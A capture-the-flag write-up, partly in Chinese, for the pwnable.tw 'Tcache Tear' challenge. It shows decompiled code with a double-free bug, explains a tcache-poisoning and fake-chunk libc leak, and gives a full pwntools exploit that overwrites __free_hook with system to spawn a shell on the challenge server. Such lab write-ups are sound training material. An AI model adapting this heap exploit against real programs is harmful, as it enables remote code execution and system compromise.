pwnable.tw_Tcache Tear

Analyze:

main function:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  setbuf();
  printf("Name:", a2);
  read_note((__int64)&name, 0x20u);
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_num();
      if ( v3 != 2 )
        break;
      if ( v4 <= 7 )                            // limit the time we free chunk
      {
        free(ptr);                              // double free
        ++v4;
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        info();                                 // name
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      new();
    }
  }
}

可以看到:

指针free后未置零->存在double free
程序限制了free的次数,我们无法通过free多次chunk来构造unsorted chunk
不过程序没有开启地址随机化&&name处存在输出
可以在bss段name位置构造fake_chunk>0x408
而后delete fake_chunk 进入unsorted bin
此时name位置(fake_chunk->fd)就会写入libc addr(main_arena+96)
此时输出info便可leak libc addr
而后利用double free改写malloc/free hook,而后即可get shell
(EXP中注意delete次数)

EXP:

from pwn import *

def add(size,note):
    p.sendlineafter(":","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",note)

def delete():
    p.sendlineafter(":","2")



#context.log_level="debug"
#p=process("./tcache_tear",env = {'LD_PRELOAD' : './libc.so'})
p=remote("chall.pwnable.tw",10207)
libc=ELF("./libc.so")
p.sendlineafter("Name:","kirin")

#leak libc
add(0x70,"kirin\n")
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,"kirin\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x60,"kirin\n")
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,"kirin\n")
add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060))
delete()
p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))

#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"kirin\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"kirin\n")
add(0x40,p64(system_addr))

#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()